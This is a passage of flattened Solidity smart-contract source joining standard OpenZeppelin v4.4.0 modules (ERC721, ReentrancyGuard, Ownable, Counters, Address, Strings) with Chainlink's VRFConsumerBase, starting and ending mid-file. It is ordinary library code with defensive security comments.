* @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/LinkTokenInterface.sol"; import "./VRFRequestIDBase.sol"; /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constuctor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator, _link) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash), and have told you the minimum LINK * @dev price for VRF service. Make sure your contract has sufficient LINK, and * @dev call requestRandomness(keyHash, fee, seed), where seed is the input you * @dev want to generate randomness from. * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomness method. * * @dev The randomness argument to fulfillRandomness is the actual random value * @dev generated from your seed. * * @dev The requestId argument is generated from the keyHash and the seed by * @dev makeRequestId(keyHash, seed). If your contract could have concurrent * @dev requests open, you can use the requestId to track which seed is * @dev associated with which randomness. See VRFRequestIDBase.sol for more * @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously.) * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. (Which is critical to making unpredictable randomness! See the * @dev next section.) * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the ultimate input to the VRF is mixed with the block hash of the * @dev block in which the request is made, user-provided seeds have no impact * @dev on its economic security properties. They are only included for API * @dev compatability with previous versions of this contract. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. */ abstract contract VRFConsumerBase is VRFRequestIDBase { /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBase expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomness the VRF output */ function fulfillRandomness( bytes32 requestId, uint256 randomness ) internal virtual; /** * @dev In order to keep backwards compatibility we have kept the user * seed field around. We remove the use of it because given that the blockhash * enters later, it overrides whatever randomness the used seed provides. * Given that it adds no security, and can easily lead to misunderstandings, * we have removed it from usage and can now provide a simpler API. */ uint256 constant private USER_SEED_PLACEHOLDER = 0; /** * @notice requestRandomness initiates a request for VRF output given _seed * * @dev The fulfillRandomness method receives the output, once it's provided * @dev by the Oracle, and verified by the vrfCoordinator. * * @dev The _keyHash must already be registered with the VRFCoordinator, and * @dev the _fee must exceed the fee specified during registration of the * @dev _keyHash. * * @dev The _seed parameter is vestigial, and is kept only for API * @dev compatibility with older versions. It can't *hurt* to mix in some of * @dev your own randomness, here, but it's not necessary because the VRF * @dev oracle will mix the hash of the block containing your request into the * @dev VRF seed it ultimately uses. * * @param _keyHash ID of public key against which randomness is generated * @param _fee The amount of LINK to send with the request * * @return requestId unique ID for this request * * @dev The returned requestId can be used to distinguish responses to * @dev concurrent requests. It is passed as the first argument to * @dev fulfillRandomness. */ function requestRandomness( bytes32 _keyHash, uint256 _fee ) internal returns ( bytes32 requestId ) { LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, USER_SEED_PLACEHOLDER)); // This is the seed passed to VRFCoordinator. The oracle will mix this with // the hash of the block containing this request to obtain the seed/input // which is finally passed to the VRF cryptographic machinery. uint256 vRFSeed = makeVRFInputSeed(_keyHash, USER_SEED_PLACEHOLDER, address(this), nonces[_keyHash]); // nonces[_keyHash] must stay in sync with // VRFCoordinator.nonces[_keyHash][this], which was incremented by the above // successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest). // This provides protection against the user repeating their input seed, // which would result in a predictable/duplicate output, if multiple such // requests appeared in the same block. nonces[_keyHash] = nonces[_keyHash] + 1; return makeRequestId(_keyHash, vRFSeed); } LinkTokenInterface immutable internal LINK; address immutable private vrfCoordinator; // Nonces for each VRF key from which randomness has been requested. // // Must stay in sync with VRFCoordinator[_keyHash][this] mapping(bytes32 /* keyHash */ => uint256 /* nonce */) private nonces; /** * @param _vrfCoordinator address of VRFCoordinator contract * @param _link address of LINK token contract * * @dev https://docs.chain.link/docs/link-token-contracts */ constructor( address _vrfCoordinator, address _link ) { vrfCoordinator = _vrfCoordinator; LINK = LinkTokenInterface(_link); } // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomness( bytes32 requestId, uint256 randomness ) external { require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill"); fulfillRandomness(requestId, randomness); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} 